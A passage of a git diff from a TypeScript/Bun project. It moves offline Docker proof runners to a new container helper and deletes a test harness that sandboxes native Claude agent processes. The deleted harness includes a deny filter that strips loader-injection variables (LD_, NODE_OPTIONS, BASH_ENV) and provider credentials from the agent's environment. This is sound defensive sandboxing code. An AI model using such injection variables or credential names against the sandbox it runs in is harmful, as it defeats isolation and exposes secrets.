handoffProof=Bun.spawn([process.execPath,"run","test","scripts/native-proof/handoff-proof.test.ts"],{cwd:root,stdout:"inherit",stderr:"inherit"}); - if(await handoffProof.exited!==0)throw Error("Native proof artifact handoff qualification failed"); // One owned loop at a time: the first backend must prove cleanup before the next. for (const uid of appUid ? [appUid] : ["1000", "0"]) for (const backend of backends ? [backends] : ["claude", "pi"]) { const artifact = mkdtempSync(join(output, `run-${backend}-uid${uid}-`)); @@ -97,27 +70,23 @@ if (import.meta.main) { writeFileSync(join(artifact, "native-environment.json"), JSON.stringify({ backend, appUid: Number(uid), apparmor, profile: apparmor ? "brain-kit-native-proof" : null })); if (!apparmor) console.log("AppArmor unavailable: this runtime provides no enforced AppArmor qualification."); const lease = join(root, "tmp", "workspace-operation"); mkdirSync(lease, { recursive: true, mode: 0o700 }); - const artifactInfo=lstatSync(artifact,{bigint:true}); - const artifactPin={dev:artifactInfo.dev,ino:artifactInfo.ino}; const args = nativeHostDockerArgs(root, artifact, uid, backend, apparmor, retainIndexNamespace, realpathSync(process.execPath), applyTiming, observationTiming, tree); - const control=mkdtempSync(join(output,".proof-container-")),cidfile=join(control,"id"); - args.splice(2,0,"--cidfile",cidfile); console.log(`Native ${backend} uid ${uid} hosted proof artifacts: ${artifact}`); const runnerQuota = readFileSync("/proc/sys/user/max_user_namespaces", "utf8"); - const child = Bun.spawn(args, { stdin: "ignore", stdout: "inherit", stderr: "inherit" }); + const boundary=prepareOfflineContainer(args); + const child = Bun.spawn(boundary.argv, { stdin: "ignore", stdout: "inherit", stderr: "inherit" }); const signals = ["SIGINT", "SIGTERM"] as const; const forward = (signal: NodeJS.Signals) => child.kill(signal); for (const signal of signals) process.on(signal, forward); - let code: number, runnerQuotaChanged = false;let handoffError:unknown; + let code: number, runnerQuotaChanged = false; try { code = await child.exited; } finally { + boundary.dispose(); for (const signal of signals) process.off(signal, forward); - try{finishNativeHostArtifacts(root,artifact,artifactPin,control);}catch(error){handoffError=error;} const after = readFileSync("/proc/sys/user/max_user_namespaces", "utf8"); writeFileSync(join(artifact, "runner-quota.json"), JSON.stringify({ before: runnerQuota, after, unchanged: runnerQuota === after })); runnerQuotaChanged = runnerQuota !== after; } - if(handoffError)throw Error(`Native proof artifact handoff failed after proof exit ${code}`,{cause:handoffError}); if (runnerQuotaChanged) throw Error("NATIVE_RUNNER_USERNS_QUOTA_UNCHANGED"); if (code !== 0) throw Error(`Native hosted proof failed (${code}); inspect ${artifact}. No skipped or absent runtime is passing proof.`); const receipt = await Bun.file(join(artifact, "native-fixture.json")).json() as { kind: string; mounted?: boolean; attached?: boolean; loopCreated?: boolean; backingExists?: boolean; errors?: string[]; removeReceipt?: unknown }[]; diff --git a/scripts/prove-reference-pool.ts b/scripts/prove-reference-pool.ts index 17e2111058..ee80567bb4 100644 --- a/scripts/prove-reference-pool.ts +++ b/scripts/prove-reference-pool.ts @@ -1,12 +1,12 @@ +import {prepareOfflineContainer} from "./offline-runner/container.mjs"; /** Required offline reference-pool proof on owned Btrfs loop volumes (#2428); missing prerequisites fail. */ import { chmodSync, mkdtempSync, mkdirSync, realpathSync } from "node:fs"; import { basename, dirname, join, resolve } from "node:path"; import { NATIVE_PROOF_IMAGE } from "./prove-native-host.js"; -import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; /** `integrated` runs the app-level proof of #2751 on the same owned volumes, for the named backends. */ export function referencePoolDockerArgs(root: string, artifact: string, apparmor: boolean, bun: string, integrated?: { backends: string[] }, candidate?: string): string[] { - return ["docker", "run", "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), "--cap-drop=ALL", + return ["docker", "run", "--rm", "--pull=never", "--network=none", "--cap-drop=ALL", // The efficiency report (#3513) names the exact candidate it measured. ...(candidate ? [`--env=BRAIN_PROOF_CANDIDATE=${candidate}`] : []), ...(integrated ? [`--env=BRAIN_REFERENCE_INTEGRATION_BACKENDS=${integrated.backends.join(",")}`] : []), @@ -45,10 +45,11 @@ if (import.meta.main) { const head = Bun.spawnSync(["git", "-C", root, "rev-parse", "HEAD"], { stdout: "pipe", stderr: "ignore" }).stdout.toString().trim(); const dirty = Bun.spawnSync(["git", "-C", root, "status", "--porcelain", "--untracked-files=no"], { stdout: "pipe", stderr: "ignore" }).stdout.toString().trim() !== ""; const candidate = /^[0-9a-f]{40}$/.test(head) ? `${head}${dirty ? "+dirty" : ""}` : undefined; - const child = Bun.spawn(referencePoolDockerArgs(root, artifact, apparmor, realpathSync(process.execPath), integrated, candidate), { stdin: "ignore", stdout: "inherit", stderr: "inherit" }); + const boundary=prepareOfflineContainer(referencePoolDockerArgs(root, artifact, apparmor, realpathSync(process.execPath), integrated, candidate)); + const child = Bun.spawn(boundary.argv, { stdin: "ignore", stdout: "inherit", stderr: "inherit" }); const forward = (signal: NodeJS.Signals) => child.kill(signal); for (const signal of ["SIGINT", "SIGTERM"] as const) process.on(signal, forward); - const code = await child.exited; + let code:number;try{code=await child.exited;}finally{boundary.dispose();} for (const signal of ["SIGINT", "SIGTERM"] as const) process.off(signal, forward); if (code !== 0) throw Error(`Reference pool proof failed with exit ${code}; inspect ${artifact}.`); console.log(integrated ? `Integrated reference proof passed (${integrated.backends.join(", ")}).` : "Reference pool proof passed."); diff --git a/scripts/prove-worker-identity.ts b/scripts/prove-worker-identity.ts index c1c4c995aa..a43c0d61ab 100644 --- a/scripts/prove-worker-identity.ts +++ b/scripts/prove-worker-identity.ts @@ -1,16 +1,16 @@ +import {prepareOfflineContainer} from "./offline-runner/container.mjs"; import { watchdogMs } from "./test-deadlines"; /** Real cross-UID broker proof; fixture elevation exists only in this container. */ import { chmodSync, mkdtempSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs"; import { createHash } from "node:crypto"; import { basename, dirname, join, resolve } from "node:path"; import { applicationQualificationSelected, applicationQualificationScenario, APPLICATION_SKIPPED_CONTROLS } from "../packages/ui-sdk/tests/fixtures/application-qualification.js"; -import { ordinaryIdentityPhases, ordinaryIdentityPhaseTimeoutMs, IDENTITY_CLEANUP_TIMEOUT_MS } from "../packages/ui-sdk/tests/fixtures/ordinary-identity-phases.js"; +import { ordinaryIdentityPhases, IDENTITY_PHASE_TIMEOUT_MS, IDENTITY_CLEANUP_TIMEOUT_MS } from "../packages/ui-sdk/tests/fixtures/ordinary-identity-phases.js"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS } from "../packages/ui-backend-claude/tests/fixtures/sdk-host-relay-limits.js"; import { ownedPruneVariant, ownedPruneDiagnosticSelected, bootPruneCaptureVariant, bootPruneCaptureSelected } from "./native-proof/owned-prune-variant.js"; import { dbRepeatStageVariant } from "./native-proof/db-repeat-variant.js"; import { NATIVE_PROOF_IMAGE } from "./prove-native-host.js"; import { WORKER_FILESYSTEM_FILTER_PROGRAM } from "../packages/ui-sdk/src/server/worker-filesystem-filter.js"; -import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; /** Fixed, diagnostic-only source variant; never changes the checked-out product files. */ export function collectorInventoryVariant(collectorSource: string, hostSource: string) { @@ -69,7 +69,7 @@ process.exitCode = code; export function workerIdentityDockerArgs(source: string, artifact: string, container: string, image: string, apparmor: boolean, variants: { db: boolean; boot: boolean; prune: boolean; inventory: boolean; scratch: boolean }, bun: string): string[] { const capabilities = ["SYS_ADMIN", "SYS_CHROOT", "MKNOD", "DAC_OVERRIDE", "FOWNER", "KILL", "CHOWN", "SETUID", "SETGID"]; - return ["docker", "run", "--name", container, "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), "--cap-drop=ALL", ...capabilities.map(cap => `--cap-add=${cap}`), + return ["docker", "run", "--name", container, "--rm", "--pull=never", "--network=none", "--cap-drop=ALL", ...capabilities.map(cap => `--cap-add=${cap}`), `--security-opt=seccomp=${join(source, "scripts/native-proof/seccomp.json")}`, ...(apparmor ? ["--security-opt=apparmor=brain-kit-native-proof"] : []), "--security-opt=systempaths=unconfined", "--device=/dev/loop-control", "--device-cgroup-rule=b 7:1790 rwm", "--mount", `type=bind,source=${dirname(artifact)},target=/proof-runs`, @@ -94,7 +94,7 @@ export function identityNativeFixture(fixture: string, options: { applicationTim const { applicationTimeoutMs, sharedGit, privateGitInputs, applicationQualification, probeStatePlacement, applicationScenario, bootPruneCapture, omitProbeStatePlacement } = options; let text = changed(fixture, 'run(["/usr/local/bin/bun", "run", "test", str(pathlib.Path(__file__).with_name("hosted-app.test.ts"))], timeout=HOSTED_TIMEOUT)', - `run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs"], timeout=600)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs", "--ordinary-mid-walk-proof"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"], timeout=${applicationTimeoutMs / 1000})\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts", "--cleanup-failure"], timeout=180)`); + `run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"], timeout=${applicationTimeoutMs / 1000})\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts", "--cleanup-failure"], timeout=180)`); // Variants run without the native fixture's neighboring files. Embed the // pure timeout module under its own name so its CLI entrypoint stays inert. text = changed(text, @@ -105,11 +105,7 @@ export function identityNativeFixture(fixture: string, options: { applicationTim // prior worker-private journal/recovery mutations and its failure evidence. const fresh = changed(text, ' run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n', ""); - const withoutPreparationProofs = changed(fresh, - 'run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs"], timeout=600)\n ', ""); - const withoutMidWalk = changed(withoutPreparationProofs, - "run([\"/usr/local/bin/bun\", \"--preload\", \"/repo/scripts/test-network-child-preload.ts\", \"/repo/scripts/native-proof/identity-manager.native.ts\", \"--preparation-proofs\", \"--ordinary-mid-walk-proof\"], timeout=180)\n ", ""); - text = changed(withoutMidWalk, + text = changed(fresh, "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts", applicationQualification ? "/repo/packages/ui-sdk/tests/fixtures/application-identity-root.ts" : probeStatePlacement ? "/repo/packages/ui-sdk/tests/fixtures/probe-state-identity-root.ts" : privateGitInputs ? "/repo/packages/ui-sdk/tests/fixtures/private-git-identity-root.ts" : "/repo/packages/ui-sdk/tests/fixtures/shared-git-identity-root.ts"); } if (applicationScenario) text = changed(text, @@ -229,10 +225,10 @@ if (import.meta.main) { } const applicationPhases = ordinaryIdentityPhases({ applicationScenario, applicationQualification, probeStatePlacement, sharedGit, privateGitInputs }); - const applicationTimeoutMs = applicationPhases.reduce((total,phase)=>total+ordinaryIdentityPhaseTimeoutMs(phase),0) + IDENTITY_CLEANUP_TIMEOUT_MS; + const applicationTimeoutMs = applicationPhases.length * IDENTITY_PHASE_TIMEOUT_MS + IDENTITY_CLEANUP_TIMEOUT_MS; // Preserve the existing allowance for other work; account for the additional // sequential application phases and both complete SDK profiles when selected. - const containerTimeoutMs = 240_000 + (sharedGit ? 0 : 600_000) + Math.max(0, applicationTimeoutMs - 180_000) + const containerTimeoutMs = 240_000 + Math.max(0, applicationTimeoutMs - 180_000) + (nativePhaseOnly ? 0 : 2 * (SDK_RELAY_PROFILE_TIMEOUT_MS - SDK_RELAY_SINGLE_TURN_TIMEOUT_MS)); const nativeFixturePath = join(artifact, "identity-fixture.py"); writeFileSync(nativeFixturePath, identityNativeFixture(readFileSync(join(source, "scripts/native-proof/fixture.py"), "utf8"), { applicationTimeoutMs, @@ -361,7 +357,8 @@ exit "$case_code" const container = `brain-kit-identity-proof-${crypto.randomUUID()}`; const argv = workerIdentityDockerArgs(source, artifact, container, image, apparmor, { db: !!dbVariant, boot: !!bootVariant, prune: !!pruneVariant, inventory: !!inventoryVariant, scratch: scratchMask }, realpathSync(process.execPath)); console.log(`Worker identity proof artifacts: ${artifact}`); - const child = Bun.spawn(argv, { stdin: "ignore", stdout: "pipe", stderr: "pipe" }); + const boundary=prepareOfflineContainer(argv); + const child = Bun.spawn(boundary.argv, { stdin: "ignore", stdout: "pipe", stderr: "pipe" }); const forward = (signal: NodeJS.Signals) => child.kill(signal); for (const signal of ["SIGINT", "SIGTERM"] as const) process.on(signal, forward); let code: number | undefined, cleanupFailure: Error | undefined, captureFailure: unknown; @@ -375,6 +372,7 @@ exit "$case_code" } catch (error) { captureFailure = error; } finally { clearTimeout(timeout); + boundary.dispose(); for (const signal of ["SIGINT", "SIGTERM"] as const) process.off(signal, forward); const removed = Bun.spawnSync(["docker", "rm", "--force", container], { stdout: "pipe", stderr: "pipe" }); if (removed.exitCode !== 0 && !/No such container/.test(removed.stderr.toString())) cleanupFailure = Error("Identity proof owned container cleanup unconfirmed"); diff --git a/scripts/show-block-schema-forms.ts b/scripts/show-block-schema-forms.ts index 9db0ad2f70..06164ecb6d 100644 --- a/scripts/show-block-schema-forms.ts +++ b/scripts/show-block-schema-forms.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** * The schema forms #336 A/Bs, and the credential its live half runs on. * diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts deleted file mode 100644 index 52ae3ec609..0000000000 --- a/scripts/test-native-guard.ts +++ /dev/null @@ -1,2788 +0,0 @@ -import {resolveNativeStageLinks} from "./native-stage-links"; -import {connectNativeStageMetadata,nativeStageMetadataSocket} from "./native-stage-metadata-channel"; -import {verifyStageMetadataEvidence,opaqueStageNode,recheckOpaqueStageNode,type OpaqueStageNode,type StageReaderIdentity} from "./native-opaque-stage"; -import {prepareNativeLaunchReadiness} from "./native-launch-ready"; -import {ownNativeAudit,borrowNativeAudit} from "./native-shared-audit"; -import {registerNativeTitleCollector,prepareNativeTitleCollector} from "./native-title-collector"; -import {pinNativeWorkerExecutable} from "./native-runtime-pin"; -import { nativeExecTrace } from "./native-exec-trace"; -import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; -import { captureNativeReceipts,nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; -import {watchdogMs} from "./test-deadlines"; -import type {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; -/** Test-only OS boundary for installed native Claude processes (#4313). */ -import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, symlinkSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; -import { Readable } from "node:stream"; -import { pipeline } from "node:stream/promises"; -import { AsyncLocalStorage } from "node:async_hooks"; -import { createHash } from "node:crypto"; -import { createRequire } from "node:module"; -import { tmpdir } from "node:os"; -import { basename, dirname, isAbsolute, join, resolve } from "node:path"; -import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; - -// Only these private guard operations can issue timing intervals. Product -// callbacks and receipt consumers cannot mint an interval or wrap product work. -const guardTimingOperations=new Set(["classification","qualification","stage-inspection","stage-freshness","plan-inspection","mask-setup","launch-validation","executable-transfer"]); -type GuardTimingInterval={kind:"native-guard-interval";operation:string;pid:number;startMs:number;endMs:number;clock:"performance.now"}; -const guardTimingReceipts=new WeakSet(); -const guardTimingWindows=new Set<{startMs:number;rows:GuardTimingInterval[];channel:ReturnType}>(); -function recordGuardTiming(operation:string,startMs:number):void { - if(!guardTimingOperations.has(operation))throw Error("Unlisted native guard timing operation"); - if(!guardTimingWindows.size)return; - const interval:GuardTimingInterval={kind:"native-guard-interval",operation,pid:process.pid,startMs,endMs:performance.now(),clock:"performance.now"}; - Object.defineProperty(interval,Symbol.for("brain-kit.test.guard-timing-issuer"),{value:import.meta.url});Object.freeze(interval); - guardTimingReceipts.add(interval); - for(const window of guardTimingWindows)if(interval.endMs>window.startMs){window.rows.push(interval);window.channel.recordGuardTiming(interval);} -} -let guardExecutionCheck=false; -const guardTimingContext=new AsyncLocalStorage<{active:boolean}>(); -function guardTiming(operation:string,run:()=>T):T { - const previous=guardExecutionCheck;if(operation==="launch-validation"||operation==="executable-transfer")guardExecutionCheck=true; - try{if(guardTimingContext.getStore()?.active)return run(); - const scope={active:true},began=performance.now();try{return guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} - }finally{guardExecutionCheck=previous;} -} -async function guardTimingAsync(operation:string,run:()=>Promise):Promise{ - if(guardTimingContext.getStore()?.active)return run(); - const scope={active:true},began=performance.now();try{return await guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} -} -/** Read-only verifier: possession of a parsed or copied receipt grants nothing. */ -export function isNativeGuardTimingReceipt(value:object):boolean{return guardTimingReceipts.has(value);} -/** Union only genuine guard intervals, clipped to the measured product window. */ -function nativeFixtureGuardTiming(guardTimingIntervals:readonly GuardTimingInterval[],startMs:number,endMs:number):{pid:number;windowStartMs:number;windowEndMs:number;rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { - if(!Number.isFinite(startMs)||!Number.isFinite(endMs)||startMs<0||endMsperformance.now())throw Error("Invalid native acknowledgement timing window"); - const spans=guardTimingIntervals.filter(row=>row.pid===process.pid&&row.endMs>startMs&&row.startMs({startMs:Math.max(startMs,row.startMs),endMs:Math.min(endMs,row.endMs)})).sort((a,b)=>a.startMs-b.startMs); - const union:{startMs:number;endMs:number}[]=[]; - for(const row of spans){const last=union.at(-1);if(last&&row.startMs<=last.endMs)last.endMs=Math.max(last.endMs,row.endMs);else union.push({...row});} - const guardMs=union.reduce((sum,row)=>sum+row.endMs-row.startMs,0),rawMs=endMs-startMs; - return Object.freeze({pid:process.pid,windowStartMs:startMs,windowEndMs:endMs,rawMs,guardMs,productMs:rawMs-guardMs,intervals:Object.freeze(union.map(row=>Object.freeze(row)))}); -} -/** Explicit private measurement channel; no intervals are emitted outside a live window. */ -export function nativeFixtureGuardTimingWindow(){ - const window={startMs:performance.now(),rows:[] as GuardTimingInterval[],channel:captureNativeReceipts()};let closed=false; - guardTimingWindows.add(window); - const dispose=()=>{if(closed)return;closed=true;guardTimingWindows.delete(window);window.channel.dispose();}; - return {startMs:window.startMs,close(){if(closed)throw Error("Native timing window is closed");const endMs=performance.now();guardTimingWindows.delete(window);try{return {...nativeFixtureGuardTiming(window.rows,window.startMs,endMs),receipts:window.channel.read().trim().split("\n").filter(Boolean).map(line=>JSON.parse(line) as GuardTimingInterval)};}finally{dispose();}},dispose}; -} -const ROOT = resolve(import.meta.dir, ".."); -// Fixture TMPDIR lifetimes do not own the guard's retained tripwire evidence. -const GUARD_TMPDIR = tmpdir(); -// Fixed Git metadata only. Discovery refusal must not recurse through admission. -const metadataSpawnSync = Bun.spawnSync.bind(Bun); -const metadataWhich = Bun.which.bind(Bun); -const metadataRuntime=process.platform==="linux"?{path:realpathSync("/proc/self/exe"),stamp:statSync("/proc/self/exe",{bigint:true})}:undefined; -const realFixtureManagerClient:typeof createNativeBrainManagerClient|undefined=existsSync(join(ROOT,"packages/ui-sdk/src/server/native-brain-manager-client.ts"))?createRequire(import.meta.url)("../packages/ui-sdk/src/server/native-brain-manager-client.ts").createNativeBrainManagerClient:undefined; -type FixtureManagerPin={options:Readonly[0]>;isLive():boolean}; -const fixtureManagerOptions=new WeakMap(); -const fixtureManagerWrappers=new WeakMap(); -function fixtureManagerPin(client:object,depth=0):FixtureManagerPin|undefined { - if(depth>64)return;const pin=fixtureManagerOptions.get(client);if(!pin?.isLive())return; - const wrapper=fixtureManagerWrappers.get(client); - if(wrapper&&(!wrapper.isLive()||fixtureManagerPin(wrapper.raw,depth+1)!==pin))return; - return pin; -} -function fixtureManagerConnection(client:object){return fixtureManagerPin(client)?.options;} -function loadFixtureLeaseManager(){ - const leases=createRequire(import.meta.url)("../packages/ui-server/src/brain/native-brain-leases.ts") as typeof import("../packages/ui-server/src/brain/native-brain-leases"); - return {leases,create:leases.createNativeBrainLeaseManager}; -} -let realFixtureLeaseManager:ReturnType|undefined; -// Pin real product preparers before fixture mocks can replace module exports. -function loadFixturePreparers(){ - const require=createRequire(import.meta.url),launcher=require("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"),output=require("../packages/ui-sdk/src/server/worker-native-output.ts") as typeof import("../packages/ui-sdk/src/server/worker-native-output"),maintenance=require("../packages/ui-sdk/src/server/maintenance-worker.ts") as typeof import("../packages/ui-sdk/src/server/maintenance-worker"); - return {output,maintenance,launcher,real:{hostProbe:launcher.probeWorkerHost,hostSource:createHash("sha256").update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))).digest("hex"),index:output.prepareNativeMaintenanceIndex,finishIndex:output.finishNativeMaintenanceIndex,git:output.prepareNativeMaintenanceGit,finishGit:output.finishNativeMaintenanceGit,worker:maintenance.prepareMaintenanceWorker,gitInput:maintenance.prepareMaintenanceGitInput,probe:maintenance.probeNativeMaintenanceWorker}}; -} -let realFixturePreparers:ReturnType|undefined; -/** Transparent constructor observation: the client and its production methods are real. */ -export function nativeFixtureManagerClient(options:Parameters[0],isLive:()=>boolean) { - if(!realFixtureManagerClient)throw Error("Fixture manager client is unavailable"); - const client=realFixtureManagerClient(options);fixtureManagerOptions.set(client,{options:Object.freeze({...options}),isLive});return client; -} -const GUARD_TOOL_PATH = [process.env.PATH,"/usr/bin","/bin"].filter(Boolean).join(":"); -// Distribution-owned, read-only runtime bytes; never service/cache storage. -const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; -const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; -const FORBIDDEN_BIND_ROOTS = new Set(["/", "/run", "/var/run", "/tmp", "/dev", "/dev/shm", "/home", "/var/lib", "/etc", "/var"]); -/** Product environment is the default. These names carry host authority or - * executable injection into an otherwise isolated native process. Provider - * credentials are reintroduced only by syntheticCredentials/relay projection. - * Transport, HOME/PATH, test channels and the deadline factor are guard-owned; - * locale, SDK, telemetry and arbitrary product switches are not. */ -export function nativeProductEnvironment(env:Record):Record { - return Object.fromEntries(Object.entries(env).filter(([key,value])=>typeof value==="string" - && !/^(?:LD_|DYLD_|AWS_|AZURE_|GOOGLE_APPLICATION_CREDENTIALS$)/.test(key) - && !["NODE_OPTIONS","BUN_OPTIONS","BASH_ENV","ENV","ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN","BRAIN_NATIVE_RECEIPT","BRAIN_NATIVE_EXEC_AUDIT"].includes(key))) as Record; -} -const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); -let qualified = false; -let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; -const guardedPlans=new WeakSet(); -type GuardedPlan={afterSpawn?(pid:number):void;argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean;forSynchronousSpawn?():GuardedPlan}; -const guardedBoundaries=new WeakMap(); -export function nativeGuardedBoundary(argv:readonly string[]):GuardedPlan|undefined{return guardedBoundaries.get(argv);} -export function isGuardedNativePlan(argv:readonly string[]):boolean{return guardedPlans.has(argv);} -let denied = 0, reported = 0; -export function nativeIsolationFailed(): boolean { return denied > 0; } -export function assertNoNativeRefusals(): void { - if (denied <= reported) return; - reported = denied; - throw new Error("Offline native Claude isolation refused a launch during this test"); -} -let head: string | undefined; -export function nativeTestHead(): string { - if (head) return head; - let value = ""; - try { - const result = metadataSpawnSync(["git", "rev-parse", "HEAD"], { cwd: ROOT, env: { PATH: "/usr/bin:/bin", GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_SYSTEM: "/dev/null" }, stdout: "pipe", stderr: "pipe" }); - if (result.exitCode === 0) value = result.stdout.toString().trim(); - } catch { /* Containers carry the exact checkout identity without Git metadata. */ } - return head = /^[0-9a-f]{40}$/.test(value) ? value - : /^[0-9a-f]{40}$/.test(process.env.BRAIN_NATIVE_TEST_HEAD ?? "") ? process.env.BRAIN_NATIVE_TEST_HEAD! : "unavailable"; -} - -/** Metadata survives an outer fixture namespace's deliberate clearenv. */ -export function nativeNamespaceEnvironment(): string[] { - const {deadlineFactor}=createRequire(import.meta.url)("./test-deadlines.ts") as typeof import("./test-deadlines"); - const values: Record = { BRAIN_NATIVE_TEST_HEAD: nativeTestHead(), BRAIN_TEST_DEADLINE_FACTOR: String(deadlineFactor()) }; - if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted") { - values.GITHUB_ACTIONS = "true"; values.RUNNER_ENVIRONMENT = "github-hosted"; - } - return Object.entries(values).flatMap(([name, value]) => ["--setenv", name, value]); -} - -// Resolve from the installed SDK, exactly as its native package lookup does. -// This runs before test mocks can replace module resolution. No executable runs. -const installedRuntimes: { path: string; size: number;aliases?:string[] }[] = []; -let discoveryFailed = false; -const sdkOwners = [...(existsSync(join(ROOT, "package.json")) ? [join(ROOT, "package.json")] : []), ...[...new Bun.Glob("packages/*/package.json").scanSync({ cwd: ROOT })].map(path => join(ROOT, path))]; -function installedPackage(from: string, name: string): string | undefined { - for (let directory = dirname(from); ; directory = dirname(directory)) { - const path = join(directory, "node_modules", name, "package.json"); - if (existsSync(path)) return path; - if (dirname(directory) === directory) return; - } -} -const seenSdks = new Set(); -for (const owner of sdkOwners) { - let required = false; - try { - const manifest = JSON.parse(readFileSync(owner, "utf8")) as Record>; - required = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"].some(key => Boolean(manifest[key]?.["@anthropic-ai/claude-agent-sdk"])); - if (!installedPackage(owner, "@anthropic-ai/claude-agent-sdk")) { - if (required) discoveryFailed = true; - continue; - } - let sdk: string; - try { sdk = realpathSync(createRequire(owner).resolve("@anthropic-ai/claude-agent-sdk")); } - catch { if (required) discoveryFailed = true; continue; } - if (seenSdks.has(sdk)) continue; - seenSdks.add(sdk); - const fromSdk = createRequire(sdk); - const sdkManifest = JSON.parse(readFileSync(join(dirname(sdk), "package.json"), "utf8")) as { optionalDependencies?: Record }; - const before = installedRuntimes.length; - for (const name of Object.keys(sdkManifest.optionalDependencies ?? {}).filter(name => name.startsWith(`@anthropic-ai/claude-agent-sdk-${process.platform}-${process.arch}`))) { - try { - if (!installedPackage(sdk, name)) continue; - const alias=fromSdk.resolve(`${name}/claude${process.platform === "win32" ? ".exe" : ""}`),path = realpathSync(alias); - installedRuntimes.push({ path, size: statSync(path).size,aliases:[alias] }); - } catch { /* The alternate libc package may not be installed. */ } - } - const cli = join(dirname(sdk), "cli.js"); - if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size,aliases:[cli] }); - if (installedRuntimes.length === before) discoveryFailed = true; - } catch { discoveryFailed = true; } -} - -const hashes=new Map(); -let reusedFileFindings=0,inspectedFileFindings=0,executionByteChecks=0,executionByteFiles=0; -/** Kernel key, including mount identity; pathname alone never identifies a finding. */ -function fixtureDescriptorKey(fd:number):string { - const info=fstatSync(fd,{bigint:true}),mount=/^mnt_id:\s+(\d+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1]; - if(!mount)throw Error("Fixture mount identity unavailable"); - return [info.dev,info.ino,info.size,info.mtimeNs,info.ctimeNs,info.mode,info.uid,info.gid,info.nlink,mount].join(":"); -} -function fixturePathKey(path:string):string { - const fd=openSync(path,0x200000|constants.O_NOFOLLOW);try{return fixtureDescriptorKey(fd);}finally{closeSync(fd);} -} -function fixtureDescriptorHash(fd:number):{key:string;hash:string} { - const key=fixtureDescriptorKey(fd),cached=hashes.get(key); - // Metadata keys may be reused; mutable bytes are always read again. - if(cached!==undefined)reusedFileFindings++; - const chunk=Buffer.alloc(1024*1024),hash=createHash("sha256");let position=0; - for(;;){const count=readSync(fd,chunk,0,chunk.length,position);if(!count)break;hash.update(chunk.subarray(0,count));position+=count;} - if(fixtureDescriptorKey(fd)!==key)throw Error("Fixture file changed during inspection"); - const digest=hash.digest("hex");hashes.set(key,digest);inspectedFileFindings++; - if(hashes.size>200000)hashes.delete(hashes.keys().next().value!); - return {key,hash:digest}; -} -function fileHash(path:string):string { - const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); - try{if(!fstatSync(fd).isFile())throw Error("Fixture finding requires a regular file");const 